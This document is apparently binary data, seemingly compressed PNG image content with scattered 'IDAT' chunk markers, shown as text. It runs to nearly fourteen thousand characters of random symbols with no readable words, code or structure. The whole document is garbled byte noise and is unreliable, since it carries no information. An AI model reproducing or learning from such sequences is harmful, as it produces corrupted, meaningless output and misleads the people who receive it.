sn]%`0~VXc0h2 eZ?ݔ6[K>_bzN\7nܝܚRy^,pc P* f31EbqbHH+'mN襈U,2Ś 6nʆCqq99&9w[P0WךCP!dCCJ hatn@<ך7<<8~EIIcbҝZZGr8WYނ{ˣGus 82X4PСCy؁B 4@9@ݼP/ Z.dAjX O?M.Hҏ3vQPEh3L7zxrBc<,:!$NRب鄠L&muL&/!!?vԐY_fu|గG踸 Tp9fSjdgfg(GxhСÇ;wu7M ձ4 cr֭whu G6ݳB %3f̘?#** 4H$q $&&Z 0ܹs{ h,GMj0<[~VbՊ+%P}'K~Zg՞!x #|كae2SRkWo"m\d_kՊ&}rPûT:ϹQAՠ2%xXnl[qI=P(:}]w\rnlBp^8IF7h 8-AB6Pða&N`8´CC;5}` ]dJ%aZMM R˼;Г=cSOSzP[ΈTZPRc,jiި8=8VZ~mݪ<.m*UY\ik d^7*lJ U--'p%LYq-8DiT&Ϝt'g{@ǎC9y,ǠȏGZAv%` ef͚ ".{orrq.T̔)SQ"rJJ Ç#]%bbw]u+lМWXh0Gx+7&=Lw~sC{x2uJoLBϩX Fe&0Rn+'Ԥ^5ǦDu_բ<ڒH?zBgbQP+42)ʱbɽy`p w8h9[mZ%K88'N$3Z|FbG3C$|Bȣڅ^Ĝxy X!{^rQhl-LŴ*QIvHx+x Ӵ;ch6"JY l'ܠ^28WlH uH ϪoܜJkoQT޻D=cK[BKV+㜚KK';D =C͚P$f{ 3~zj8yρgw\$ڜ\}uLr71'U鉉D_k&;ϫHшD {nMYI8N4+^a1|yyy!4RD* R؈\4q.5%TP !\wY42d=;F# ap[a9.=.-=`랕V[:AAzOk0]ye06Myx GHTqG{\8Ì*#Ka߀.6-!L@_?߀tVLhkc$[PUj\b3RtG X:$aQa;>>q4)?V t#';(};O0Iz=׶dj;o4Q`k;<6+4 ,FϼP\7eet1ஃ44JYW8u*5ޮV kkn@;W|mR\s=Dn|RY AG`=IK$/SՊ'RYsikҚ͛#Gn[Gtjé[޺] e G}hѢ+] [bJ:E]uGR 0Qcm RHp.1H "z[/k`؈(ej#.J09/.4+3:)^ nUpc^a`SG0]e2AMMoxCc{7 ʺ]SN #]"9oA(Z.1]2FhhM7XfQD*a"-8a)--EynbQQ@`9p9sqmxP޽Q;P L|#P*!X#A0T56 2 &<3`K/ XTJE8ʰ dmQh͚ Eͼ'43|2Jp;'w |xɘ&__)p L&}F',$dV+88~AZ)ںuQLJ sz*5/S7F38qC4H'Dk= A_pS믿>x  HLL j""_-^>Sj>XnƍaBJԂHB>~4@}%zk; nWVV%`;p׍7Pޮ.bfH x+ /a->iӦopЯ( n[}q`i0YTkoKfr!T_LZyem HՋ@ljP@O#ѫJP̆ŊhFrH諰k<`C{رЬ #`Іa(Ds<`pG?'NL>|`xz:X_}E:e%uujo1󙙁,o7 ύ7윬 RPPJ[4T 2<12hr%Z#m[=EV$YVإ 1*ZC"c!6cbno*MM ]#Gw{drPxʺݻcc0N oTo$p!6 (_l3Ͼv :fKΞ=rp@kB6Ϗz&e}]`H^z; 4B@*1𳱖! < նC%p}Eh̶fC$R{# H`c^pd^o!hV[#o] ~A}ٝ+ZWL{mmv?N>4Þl0֊P@mO@Mpo[m|_H8HvY9Npl~Vo9ol׍蜆KK] \eZF0 !0bgZ(6G8;z}f׮]C(c|n(8␰6&b}8`K1lk`\ի;3p@[`ۻwﯿ th?"DY0E Όaj80QT@0xLx"pHAGOtG-2&-- l9:c 숤/лApPrE@_YYټy /_ dCa dxZ ?:u*]PƦ} Ƹ@IA7>8r8{v{V86O)AH%QOu\0-P7v-ɡT&|rnJJ0h7<ԐTGe/$JLzݭTa0b1( Y, [2l-|{Ĺ Au*5Tp#҇wգ 鞫H%4ʄn, =Y{Ơ E |0k9;2Xi" 2e}nw eofgK`Z&K2ZZqĈé|E7>UlLf6"?!+Iy^2P57#F)ñN穕|II'>M&ӲRT# "QVxjeib ^;؀@溝;aZJ) 0.xs%wi PVmžCWHC}ˆ&'|ӄǾ>+w>J X\G RI*ݛսi(Ѹ\g2 A:/7+4M&V^^ޣGgQs+wwề=|>LfQ]30G|]&Ms)l;3TiZJx,hZ:"c-biGtتT'P&+ *i?= U~sD c2O OP_5%B4{0arX RWcLT1ח3+= j^6ljjm!REMM 7Cv;;,Y g %zwZ@Sy-!7 O>m|8jkߏfv#N^Z$2p0Yx׆9QRTij vG IDATEDƦweӝ׶9,&:_ GAYX} @/]ԫT~~ 32vYt=K) Ωڶyo=[ϥT%~~Lzl CARH(;s[C~DŽcpOn;:T*).6c8g`Bw^O^FuB(\O^U/VU30stfLccYppd\]SBCnDPuzV*66rXPvJ^\^mFŧfVNj*C?KnxF4i.Hvc399mRQHvҡt'Ӌ5Ǹ] IGBNsRg;lD((<2e<&%GT'9\2ˍ2C;W忿05_E&j2C::F&uK3׉h(s'Fiio`PiҚRȐD\ >)eCfT6ndEG˓"^}:c> *6S9 -f~Zjcg#,J⢢ĩSYpхgd=>Eڕ eM@K8VQWT \/6길+\M,!oh22GM%WL ,R&=r=Vb\> sZ4á$qfT{Mך:d;ZBh\g::9rFH{b[IY(knk jƺM %@CnP%];2&m_wSJ/+;2źXl6?jP3qmn#YXcqHwF,F2 䀨Ӻ`WVDŽ(tPV:*8ߦmkJ ωjj_P{x5%ﮟ?2%()c<^Rk.G?y˾\iZnH Ϟ=.2Oˠ@K- /yO~GC(%Qmy^#fUURJsQ ː aSpAb3X P2 8rsq C!*U 6tht>‚I2;೨iZc߄+lvvFp0<|}=?Y5i %ߒ`JrJUuU[i twqb8if\Mbb2z @^(cF{G&uc+}3~>)BGuf^{7̸#I ;:Ji=z TnS\۱"b/ *x9.>y9pnܨQ.es(åͣz[d3;z@QE_c@I_?Coe&,Щ3ꐴHb߆oy01ÏKj]An yh2S+-$ݠ%}$ rOKSgf2(i5a̘jQQ7>Ǡ3Xhh;22?mù'LF'+/+xnfPklkkEE!)kBK8cb̙`/8986֢}.j){za&F$>~>姪O IK1]^NקŤX+;>Z^?ZZ4-ч/泙pN^fi5iDtuq Y ؋CX>1!1F>-%n+\⨔2 ٽƟZZ SS_j5{mV3} b*t033 !@ =#0 v0@'Mx왤Y$D8ϤHX*UbLH?^EBSF!s G>Vw=lfUôH%1 Kg~:-}hwk@P{vv44g}:+6S ~1w_>)eK_j2+_Ŀ鋛^`ɭ0瑵-P·S^[~[gܗ-7#fs$;rl؟<2k$1? 3 q}=>O|*=@gH`;[aqa;'A"+fr$:76f=\k&( /aabb؋hDcBxoh>uC/BPh++LduSdYwȆ=²bp$d 2y;:op'=:tgv*7=Vuyz;`.T)Np\w|w^-8ƏA5 ti|NS,(n6L[L|[|`Q#鋖@zQ#n1cQ.B8UZzPP9Ä +\9R,;, sўe24dшN}xA&81g9=ݖT+I;Ѭ Zg\:sCxqGw*56TeB%@]mC}nz3f>{d);sp` "ihl8Y}򓅟&gTϰ,/ _|Ȱ8_3'7{± GF8uʂ]djGŁlٯ~h" d")-/K@\+>?;>"% 1R@ĤwA@^D-ɐ^!99k \UֶԤΝˊA9Fmaf!"csY(k/w) у;dj -d##,4Zچ2>>w˿;p֜XΏ>EAGr0b7w?_RH஻|򩽧>c"xV.zC+uE?CJJ>!JLP^ɷ}4!ED7DZv[ׇwZ.YCG&E*`36VV沲Clj%xlffT|V=XYR飼M>*sYۛ@#64}sc{1Ȥ#;^peAg;9>nDŽE /"xWFS(1:k4悏>=i? ~韗kR𙙘=W+ai=/IM;n\2mZ%CʈnxQ@0UP׺x_12dD"]ڑeJ9cxW]ԨTJ**/XfG9Vb*/ dvN _jhhL>nSrNO-W fc/^>]' XҒ/ф(yp ܱX}=z#Ajzmv5*,<2VwS(΀vӟ^풺:h\ OLy"*4l4#MHPw{|!74ĄF9_ /$iFctl4+UKa;a95ݦ%@jޓ{/biOP@nPPRl3hMi0mnuǣui!̥:Hnػ7(:Htyܓ3o9And%AA,lL$:}ZZ\S=Ek8y4-Km(tnxpVx*7Mde=6>q}evyX"Y|g yv49cBÍdarqHHwbhR(es_/st2G $t_\ܲ>&VU647NSih:]nKsj&'+S yy?3thHJ|^ɇ]~;r\np0PIN~! JҒ=RJiݣ7h ȉ/ GpOP9],@$^nR7ׯ޿^D2'#>ch|(\\wo(~Gtd{2\}ӢҲⳠ n@*-Ph x]!CI{ؤI~~z}L^xB|9aZwGmO^NDpT!!sEqʚ2$ޚ8 qǍc/=^F>iY޵TEIB> ˏzR$~+W̌rıީV=8j-B1t:oiii=v5d؃jő#GqFqؾ} *8 qc K/RKxes@&=ITQAp1}͕u§U'{q{Y4ɛ KeF@+Y5-ZiUZD JcQcQTl@%'+hl,kJw[aFqBp05\'2SN[y3 +66fMÁB]'^')$+$Dl~-rj[%e}->M󛗍 2[F;ܼ-(79FK] \2G=:rH/Σ!h~ >B}6bA66t- n]P'qP.m1,>>~xڍ!A%A w;jɨ1dT{/| Z՘1˜}zj5 İX\i[##M]+H1#^М5]Ndǁ" ƙVN _xhk9֜mڲ1woN_޽%HڌGQ(܉Mdxzx'4P-'I|7Ԭ`eY!gr%zF𰰱aa,0.]jl׮&L/4}GVjjn?=447ԼQsK GڅJe֭LOw;O+j.M S W*BB2ۮ)ˏ$'?0Pz<,JAܜ@Gs}~X:gdc.{W{ܞwvȖ%@]}eH$bXxMڅ4mnn Z]A/O/,Y$c>΋sqϻe˖|O=o|:dRyq8}4㜾55QnP*恵gQjTX`pz8Μb+$㘍P :A*URy:1}IY_/*(;6$9JOE߬L5lSz闤|ۮ0oy3̈́u Կ/2cj?,))s̐!C^WWC&3f ־[k֬ M DR[.‡ٵkכoy1ٓI`i4|~FF5篿p80kR\[UUepppZZM pݻ1õ=#6m P} t۷ Dpu\Rg(E{!kl,0^[Tz 6<svx8Rbx80-_iN"1 MbYO CV寅j5!hJJ s>ou<=ncP@ *,  V{wFC&pxMUIUosb8TdH$ ؾanl$|D?%R^DbOuqȥ {ԑIzm]ݙԡ.1L'VT\Z "iL\JopQd?G7f ǺJgc.X}FT]49#ccu=sFDLf01 >jUcn.\Pڞ?S,P1bC]H@LuXֈ}Ϟ={ 6deejL3BBB`1Dw~Q{ IDATG&`w|w܁Fuz?p69P'TJ{MMb ؒoVxj:X,KHKho}o<7PQsg{Lj Z-wbmqz }m8p/oBeDtwegûɗ33?BlM@VCn[jEa»l9]sOl%5 B1755 m۶C5$tbY8`˃СC0@35aΝQQQ8̢1ѣcoęD/֠-#!!o/ǹXp7@D˿UXR߆(RSS VW_H3J7 jľ8p Ȝ9s8Ѓ)wўHH7JDDTq'O&$`\-@E5UK"tV4~hh(P/5;\p ,/7x ـlȑ0*rI.O?btM&HE<97 6v.`qw9 ^RR Q BtT'/k v$QHѣ2ÇwC 9~Ҹ hԲ>$bfQ(\lQQ]Adsǵ'ux3:OyrWi`gم50@3. `v;v–8Y8ȱP _~%N8֣a0V ЦMnvx{`/">@ xJ^ 7?l O@6 1'p}[s[Nlr(((@"}PX޳/BԶآYWV"?pf@[kkmEH؃p:`/;>0 P3X‘T&\y` ?zL3 gqt|NbYIirCpo2(68}8j(" ns;TulZ{ R%(fG C[ 'ķŚfַӧO &- ikp̲NzU655L $~ET`0(y|ߺ’Ӧ=n3>PZЀ%3=#,]k"UPL#?s2.*A܉=;qbMָDb6 Qo,V^ B18 IgDy$R XV'hMHs ,G}߿ܸq} "00q K OpkIo2m*{<6P$@pa^ de;ַ0}g/ ?.$[.xLG2|.v~FV[L9w la)p`ā̉;pm -ؤHz4hD6d@M@-M" XUMzR&;V,aac(Kng0={Jμ=Q9hp'@Dg4;IMMČ^&r#pUc"]m !q(T2,,rc™R$vEő ٞ8)MFKxwNjxK酻@'p1hذa%H}̩SpR|JPfZ2~ı 0@!ѿxؐ'I;w.Bt| {D؂*b|2/mAw- c ⹀5q8 GCp $lTmaU1|y9h hV(z%3:Ѓg? ,Wx|# G3uij9s& as x,'O kz%|\ ֆ,]_ãhKkW_oo`eocm@`X dz0Az`7?s$NAUZyX hBx|O^P.ol\,ˣopX^:u`BRkOCI X0uOF{..#A$EEMp92jxxٜA࠵GM h]{?G9mP%?ppHJJl.a;cNTU$Y9=Ͻe66aӃ#.:SFd B` Ż8Nу6^ܡ>A/<"!,8nq&@'N I Oa85 ;4 D%N;df@AP 81##<z0c8l"pb 'dz=6@^@iҽ@,&LdOC092PVAC NBOnaaD* L5.73jjxA,>7-脞X~@Q7oʁH $a^`8փ{m t8.m;eyn.2+˃2[`vLAPfXcm{"&ŠDŽY ^??9 x/@kw@ 8hjkߕx`*@h 88+UTU!( IlaaQQEkچP[|sMMEK QF7H鳺#2sRH+o6%// L>!ؾoCc⼕@ @Ld:cTWtnJ nry]yǝOƙKP2@C1Wׄ& ߁3R, ;Np" *THaϧg~ɢ"CE⣉mJLL0cxϞ 6A79gV+%`G d|+7fR|7ƄGqaa7qӖ"gfHۈ~{o (d6 4q,#K%@KWHOL1tu6{&&UeȌz}`0:=fAMªȕឡ-PxccRppd&X 5W_YsCU(2w.%yF .rC >I=8ͺӥJUo\1l .J2%V{KcHdHBBSC01PQ-"Β^򔄳䢣ȅ@p BMAlx4¢(TG`.6vnnAde%# !>>^w5wZسgر{xWtEWoظ} % *LtnۃeeP+*5NJZL`Ei'|p_厨vgYJEo?<&,eBbld9JJh.hַg@ڻօ Qu56wT Ru+WdP1Wf7wavPp< "{ӦM [_^_t{4: C(h 4憺 k7"uCP `|Tbc]&Tc6BgW~p>d@055 J%6ԣDEslZ*:-;ZuuzԀyT8^&gmSiJ*U +ȶAZ@NmZ_|+LޑSNrH9Z@ Y9 XB=#A3+Qq%SWe: MF;{߿RK}G\ 6w3h'g%77"\N|aGCe27 g ^07.捝} ^'Ι;L /={1$ Z{BP a4xܘbn=z%:AhP'.N%b!a"ҩ[_G^S5]O8qMPGG!~K((8d U:c@7BBhrL}٨آЛGK_~A[ h4DSNNƾ+\G1>s;؉~FXLt!Ў3o^|"bwz#nR @ ϚN@FK D0p'p.Z8k,B Bxm s#ăiљU 䂸L4:G;Co48sϝ5? AAw{>,cWnKPQY3Y}|/NJrO{̈<7YYƪӓFaL?-]ey nTo z~9sן$G:q,`,YdҤI݅-` ,]\W .@E~Ν@B= J|'xh!?NT6 Џ0!"A8--:, o;:'h 0*k'II `(+7pNՠ@@Yׄ|0lNp`G;_ZmNG;:u+b_Xᷳf"}&au 7[3 čLl#Q j&1V rL΁AV{7@=Q9h@X@8-5I2 :^lB8H7l͛70-)`'?"@$$^ p8̡ /_3j*իt̝;x->o[gM;pP W%//1LSBNUn'H\[#&σQb4s{g@d]tKta-xxD/J`mZ@]u.<a%A=5ѐ{n+eE ;`TFE59~V !{h褄Mv1[]ӆ+mMM9SX(&~sQJ|{R|zf[cCdbK(q0Շ\ɗ`'T f?D>J8+~{&i[>!y'?Yea@ 9M0v p`~{Jqt& ("2T8摱dk580JܐKxbDs 0,n +3'CpWo50x F:WLig|()oHK|!1^{}]j~z}ݎ'NwVUQR@UTT޷.X E3RQ[/"w {+V?,<Z[o\)! IDAT\X^ jŹoGFN Vy|-׹cv{홳td[3`~ q%-XMraϷ?%cC"2IK* 6*ŧ";@.f/'NL h8U6cPi*x-ApGaKB"k0N5x揣k Gȼ0fN5@dv "=Y"4Ag*.B1a5h-M%辸*"U)m͝nju;}k]qB5gς`{wsZ/Du{qJG&aL'*O<8٫yK/T8A = г>W֗noovp13?Oid`: ]@x3p#g'v2\e7C .# 2h ĚÇ18>d#AR00 qǡC! hJFFbnDƆΩN"oт #k4( | c_%Dl&{X5`JUw}  `(`"'Hi"<| i2O7"XYA=f(17t95l0n Zy}7\JPtrrOĺza5|p @R8<4XsMng*%Dm2rW,ΆٳShܝ?P`/)@T㒒6'}W6d} sϚE &゘{c$f'/묬r9`zFJʬt^1Żn 226Asi3g Zo\(.F&{ݽuNGfeJkdK!#"]}]U\-vm7+g(u,q,`9Q ~{)#رWcyPx_B’U@-Bj AM}Pp2);(x7 oZ N-.l0l{`BeFBp͒4(9D4ؿ (B1>̛ -τ0ء1>`g1#+ xvP);4#0 H$r @=5GQ@$ؓqw - #gw$q#+$ O80 Dtc/ p &8dmez+q.$D%1 |"V4̰-|BOMNBM ~,++t:C''& >>MͧgqYStS۲UrN=wN]RE &'R=5fgq17'%yzBnrV5,;8:gf55P^KM3ul5WU*_,spLB+lΔs:<7c\= R-[>rβ-\[A Lvda|#~śGت/=-:4~ZW5*?g8Daπ ZB707ܪ dE=|,Iva@h! &`񅡖dzym#݋w7"‡\ASVɤnsV6xk]DaV_\>a(+g(u,С,`_jv8^6צeL =͏4B4c\6\P/GMՂmϰY*3mύy5{#o00@}Çdyy8wnb\pw$&{8^|~ 7%%N6Ts!\M cP5IRuZc3b|DUeK5D H Hf8ŕ X =+jod1xдJF,b XeZhFY[@Uݻ R`6$FKda49th#GZ.:hݝ-uu!Cc_%c:sU[ǕV$>x ~/DwJꪺ:w)AANiMʂ1aWubrZm=ٳ%pu&7>Ɔr`*x79SOUVz^YCzI*I&M*\z9^eƍFr`6iTwBolvlQ\5jCs`3T~=%73 }tR@_DXoҜґsG|dm t#MI l9`_DBD"4(lh4lڴW $Q1m {`*+URT{*h@08`NWUBM,)V'Wk,.92$:p^N)d\:or4rQ!!CךJCdݼ`s }'?4dveҭڼ:QT.dx{ EE{_JDvNoIMf5$d`]vԚ1Cp sՅ ! _aR]NEQ}^[v '䓫ާ_Suj3`aǠ\/(UjxxGȤNu!$ q1&hLpKjf4g! QIDɔEK#:=Yܨ g '+yk$A^3$&F,HOs; E\V;cۉBҸs1Cb= |N*7VمcxFj52|0L\41FIU<S5Έݙwhu*1MNV]c>$ Ǵv t(C51eP":,A<"%F H@cȨ /&`Y`E|kJ%FhzsrY~S L:K*jӟx-^k?b]<_Ո9˧ܺѠy|&3YGYcT,Frohs)HB2tr|"e`bv͚\=+~#4T }CBv._&! ;T@0 z8]CB<<<&޶IpLcm" w.,J XB$SYђ1ҏ_DZBP@+dcPh \EL vC@ЎD=z,05 rP\6xsN#NjF&#rM"9c>al9@^5T́^qࠢ,h|6 VWVAb] Mm`א=-V9Cxub4}:s }[6.9⁐h'-DyJY"]SjpL ==]ԜN&#;C/j&u Ӹd4jt ppCorڒڝ_h 4iZʠFO% PL@a4 &N/G~S _7.@T XQ`(/DLIl۔چCl~Tޡd֣s/Sa55%;v|5rܐPgi <߄'%7"X\\ѣ11G\ylO5tKg,RH5ر_ NpLcH-P-lAA"TMHLyeh#.#GRWupL;$-PyF)`0T.*4cƌc=FI&EN` )}H?AHeLK͞vqk"a3,yu8<IO8Ue]ϹDm;[e(v3bFO"g*魅T*>kI&6|`Ǭ[φ:74gۤ$"A %* ? a%!"4 r‹#CcbFL(Cju> 0s8{,L:1 \2R c8'Ojq[VVj˘W5> &f0xA|2Fcu5WܧId?p's!Cy'^L [q`ғ,Ps߀+2Q8`iO9p oi]A -џXCa,c0ˆ#,Y=gȒ{'wnp`3gxF9jΝk(7 d| Kw„'I_x}8BnBǬXyR6ǎ.[nBJs;{~G LV nG d%}III!EP~wT01W KG2an0[axX &"c.KJmQ]wwvٞssdzsr]ph?ZN|2(-p3`"o&/t} o$fOSoxʏ!ﺶvL,\sbL0W☝_Aqҁd.fK(> z p f$da6ȃP\^z)--xi q b ,$%X sL;wSO=EH .iӦxI#13!;^G,p@jj*[;d(N0KU0!~[xwEH/"Hh %jrrNa:ࢺ4$H)7]v .cC2~QQ\fnsѝҨԆ<-7TnpGE oYziZ@LÈx)ܤ &'-⇅?^2dsqJ[T鍦.Jk 3Q1CPxlNDYX a@ڥD2 'R8e~J8f 4!m"Fq$klRa>p  H" ʠĘaÜm%K;w?_̰9yIaXһꪪ**ȚL`5SZ3cwtM#ONNլϠA|C,P,j5X\Y(,„۷1V҈Q@h!TbS Bh+q G ̼{H"@|0^L!Ƞ0?::0MCy@8Өѫn+fPlVQSX 2Vۓ[69%vKLѡ7/دJ$ t 8+Ac˩ A{Eljfw+GPJC"oۂg}vݺu(SqJ|ogVtR.Bш]1۹ų;{w+㠀KV55'=4(`^[~ɮyyuUaah^gbD|VS~*z_D6\f`-(XuSq 7\8χ'?3Y )J@pW-LIb 拮̙37mڄ2^ J<{; '}?Nڀv&M͟?ia7UW-A IDATo`t4(\=,.zow\F%7Dڼ<ш  k+՝͙ zX}w 0i]Ov苸'[ĎSPat~~Mf9pn)8U!Gv ,MD@ 2e 8pb02$% ##W_!K3gـeT.ٻwQeիWر:WlӲsNEFDDalnŞZn_wPdddnP L8vEp@ Ȕ0 |LULD;jGe1@4 jp N!qNE23\Z0E/8.έEݰEK/ˁ2PAD[$*V|W^Wv;,ʼ<>f{@[IX46­Ǎ؈c %qۜc4:1<ܼyq$Ϲ4l``'7xE%ZG .#Y[ (L>_[ k]fMEE%S?[oU O P;"W@qn\ >=z4ذa믿YSDO@3 Ue"ि-`"[͛7e(Ɂ?^2++ݼI߉`RdZy+BU h F۳k/6~ȱ,HYFiHt4Vih&/[Y=Rpw0%{FE!8r}_5[gc+QUP? Y%OT<>u ձ_T#:AXcdvPP) (XD7(ǘ⒡##y@<4̠ TZQ'.JOgPS8$p@GArp5E b:P]w݅{?Vs8FD8 AA5uf t}sEtv QNQ͍b$DG'b>%=owT`m;)񒑄 $j̦Ϛ'DiXm]-;,7W_Ϸpadtg &ErtQEbGJ@װ%8q"e?Ì:9`$)QC8K1pG@ ˊ+"Jp'_β[bL@Rװ=KcFB dIm&B@-"vYs).'L%\` (6~(yy tn?}&:v&kKD:a$SLѪ'I >{cgh|Wc?h.rϷJtlu]p8$({Jt^ \vk駟Bh&L8ydLL \T͑@Djl$8qBЁKpWzf(7ljΘ9|j[n₊K/QH4&c'xRt;vY:p.*:Zٳeg|4:>&'ߓ]4 emFm0BH99&M=z=K1iЏ[d+?1ކT/wQ?q%9|uq76"YjW>hBse~Yfx8 ^WGn.Z\'\$"A)**:-,o-Ld"VpU[a' $pDB_|мLJ4&e2n!BTRR_25MZZǤj~_B$6Yx.' B[OI ;(`pWI_;GdZv Q~ \^^;'?QRɘPJ{"Hi ֧Tnݼ_ݝz\W/o34vVgO&{Ӊj{F'G:jݤ zUr}JFW2W J*\4Y/(GtB`zar L0_4Yȶm*?]ww!iJJ oP^0r36{xD:]^sBNdT(ucfk} :Drɴ/L}ZI:h.$q ޗ@wXXpU^%'_7|ĴVj u%ߗwdD|w`pnR:I;|ܘrk qqyz'H:w9#beaNDK'=FHlqJz+YjW)w| bQn)hNUUQKe-H <*\_Ç`WW$xV~s/g^*OJN[Gڱ8'^Z]cyv|!jx.IP_ߴpSiHgF H^_=kyy]nŢ.Eip522WT zOxx} LnE_sbPWW?/r̕t #wz|lwZ4e'A?=DǸnlku)R:Sf"YXvd4$ 4g^  QᢆPb$/J "G͍fg{mmΚ59T0_@ўbuMIA/&wHM*gf[ZntP\ccm1$?Ҕ: e2@7uu9 $ slH١ Cj9S]HЍPJUӉ؅>myVكWf}c*7VNBG Qq`@WqoʌElr\wx해ʓ)%&>T/69KHZV{VW^{o[J/8tdhG 8cZвK9Ztz뭮hLԪ캁/c0` [\%έZ T,HO2Q oW// ]~Q }IO}%;1nJq__y1?_OᘲeWX Lj@@hʠKf^{G=a_Aю,²h+?lƼ޼y3)-H 7Fk ZTFVx#P"Eдe|ʼn\`4)9$4vT~8kDWE[n:z=S'@^yٲe` TilxQ˗)d…JrR-b A D9bzúZj]RM&cm-Pb[fe15E531a?#,PoK }ztt4#PcCU-ZDqtR:M>\O\{:SiԨQYYY7Еhy3zIe]B-0g  4; 5F //۲eallQm=ڪ3gGTWQ>LyBcTS^KmNqUN|\1Ԁ-.^1GNU>39х7x;蘠H)>$|K6M<_-IjP駟!fܸqy0M;vBe[% id[š"5R]RhYd ^\ $=܋B)lN]8f&С,6UZ"@η~c0FwO>8vl Xd9eҤ |wlxᲲ;PZZ]W'B)Z@X]F!6|@r/reYK][z`uUUOKt+h2jk߹Z^wq-+MmC7kt{׽* *WԹsz;Ip07(/5K?U̝;_}$H"<$IEg̘bӅ%s[rŋ٪qTF4e-i|NºBBB%`sHᒡ$8Coy޼yJxx^ ロ;PI-^X#/a!` I Q/3k,L3c:lqmۧc /**Y#SD#![f]ĉ]Rs&/iCxu&?gٌc \WX͙!|$>8:ΕARK\I8!J\=)a#& rϗ#^x"AÇ"))),))yp| YUCMũ@.p W~mll,,`0p 3a(օ8Xv-#Gy1E"P8<^y^0qg4BǜsEEsAAQMXWDZx. juȁd8+֝|Ȉ nj 'T~hK{Ή mFpaT|m+RuI'X1n޸Pk峒Ih+ P˓O>I@ zw~H"NBpb-D]0;&* L ǜgkXFn/>^DF)|}3tQ:X޽{X`pLX dggCĪamջwoB~p!\c8xEξ}b &}gy4p̐skMw juͩr$#ãGHi>>{0O+vMS|m^WzqwIO~?fL=Q/p3AiHy-QcvqTV<?ƞyٙsV.=4[KJϗJUDZ)HJ,LgyR<-`j܊^4VҼN`ګo+[Ν=zwêTo&#=.wiBblϭP9;$|d43.=Z-4A[^9! WHG\hBE^zBukLvͨ#SC]J[ԗ5uK[UVX3+&xpgpOSb  0R )<ߑqW:っ~_ps % \=2|]p!ٿ'N|(- sV2ID Q57ܷ&'EAJOzr?&P& T.R-W*/~">w~{m\SWXwzۢWʾJ^4 7I#{?/5,ًWksGiigr_K~d8Rd-`nA |.݂ ".b$!]h!DKe,rff&A5J'TBTHhC%8%%f4- F\ëv&>׌od}8괊\k}=zu\kt5x̎zME)duu;}|d.1c2b?&㻌Qp dk,` e ZmZBŎT1gGZ36 ǣ$:"H.ۆuUPk+صwď"+BM%2cbINmi/&'ӮpIf""njl[Ƕ|BVzuӔF, X (3RUYB# 6QQdϐ8Vo>}@?Ϧ LH"B%mܭZTjS">>bZ|Tq4eeE۷QĞ$ %%,P&lSǷ@\_~~!II׎1j# >.zUg^Ad1LI!Ndl[QT7zQN+ +w{cc#.{% 8W@| (dѢE"Ēxs (*)裏8o߾S~СCo&*4 >}:8tЂ0P >@jmiQunwшJMves+zRfhtb7J͝m#23wLۈD&( j n)/;¥[c;TPpƠ{6ek٣PNIe:2ܾQ'>`tO粉/#ՉllE,p6l3fM(D67|3%yGAG@n(7p ̙30a 2`:%q,Q\yI<\XbGPSv6r͚wbboΜzؗ ;%؎X,(<3ThSֿ F&gU6\i6u #Չن҅ZP pPƜ%IqG<T5:S4AP˚%$)D-[ou̙@ Z h熪ܞg;aJQwwEŝ7b+~ZTk5Dc<.7=<\Ѡ0d>1-"ߗvYozT|wczsw+M=W9xV1535OÇ:|GTϞG#]+YS[Rr֭{IAmǎx # /]jHq? d޽;&@Ooo&L͛7IÖ|ujrdXr+)6Ϝ2`Mq[BA.RH0lsT_@كq#tu=777noNdczko輻$g|k\ kSitvANFiEN0LI!CII}^//'x*VNTgTa"o =9,).Q9f(ohԕVA m=Y6 u6h^?f䏱9JKnUh`ԎDDt %9O%:hK5 'މhr?kޚf=5՞qJ=gD^k.q`<ܳ?۫;p>PN XB2%)r]~]ܷo_Hi,gG~ƊBfœ b#(!Lp'E Z"".Pn'ۭ[72ۑWO>).|)HCQH%!r8T7d V;j2(,d$B0`*G8]?WyLi2*g崻|;O||o̰|l l$ x8hLz͑bvuX0pmgO[t꣖,Њ,̟5k֬^<=nCGme<鴭mgϞFLxQ qW  S&“;ǎ#\s I-B#F`8gۉpw^Kb>3{1&#&M'PD)5ر_wKYyyǎ}KѮXUWX]s^qƢ2f^sF9`YKJEF{CzyR7 '7:9 괥$ 8}G,شPcsE OxA^u}P"2Y~=8B<~h<7뮻2$]/ dɒ%xTyd@H"PԩS=䓽{#/[ GZ0 _|>nݺ$3 *sqK#\ThmwqUUaZڰTX1bjhTTo&0xPpÒeLgTEkʏI J:K{ӥ%_=;9jGV|.XBd-` e2٨kRx@0$ b5kpĢK/"$D(JCGѣ5E>B(SPQ~^|E@%93&>|x}v 'O-4^^-&y.w3Um̝]"oܴљ LgxX)hB|h&9Uww?.p c}/,L BHT0@ DK PΝ#A ߴ(r_x\%r"!(AC![׋t%Sv"&\k?ss%W_dǎoL6c* _h7d3yh$$ 'Ԇ>3F`@r6 .ATa=ctEߞ= 4z{H8e~AG|8F+?s1:3>7.1 {Z+b|kcZIg% ,%VZpA?l~lɴt|3xp{@^1J^{5Yp@%@9} ^T`a"DG XAC==¿!њm o-\//,\φ(W@ďBtD0{~N5zy n}͗&&Ƿs{^V//꺠n^vz5jjvGGtf =j ?"66jO\wu1c<]]>0}% tR XBeYeK,NIoaݡ"Fp J.\:t(04 Ίyg1.H1,>ࡁn%+J LgT$6Qr՘;VƈmQSQp$&>} FnkXx ci\?ak, Yh8vxV5LK ==dH[;#agiXWhpr-/)$dxp .0B^EGĿXWoپ! Hrhy҅$ h+$ 8]jd^!$xX74ә" ?q_0|˩PPP}=/ggU1R'-cYƹs^@Ɨ,U- ye"`J(P1tl?%:3w}!q9}dϚMrw޸lu~vΈvltk|czo=i\i ʸWjP z7[̝1Iu*5ٲO  $d kÁLBžĽUնjvi[kksuX붶u[8 @ {/\ӈޣ'?ߍD) 7Gdjf$ zjw?tg%f!}bkd^A Tޠmv/Fq8/zMݴ&pi Go?w Z- Cg0}}'#ŭj;7Ksf[cEZQzQh.E>܍!s*!nBfDZVh! "Ʋ37rrr9먚 PJ &}Yf KE N̮%@|Ns G<[׈ׅ볌eZxmy!uLjHW*M z ZLB4^±/W#ӄN5Ov/2/(cq*h^YCymBe")իW?!(S0G3g B9O>fD/)] $Hb%`E.w--[橲{ÐL xJ$SS Z 2ׂ6'T5e5S#|86TJ%E&<6A!"`; ,idQF L<[twINK/!?= CM+4x7:ΐ:b470h]\Qbc~} " שJRRּiC:^j(#cY'^|oiuyg___]l2 @̩d8G)~qJlP@닞HȆ9Q^nR3#0"E,W ߰>N0z)תU+pk,0T 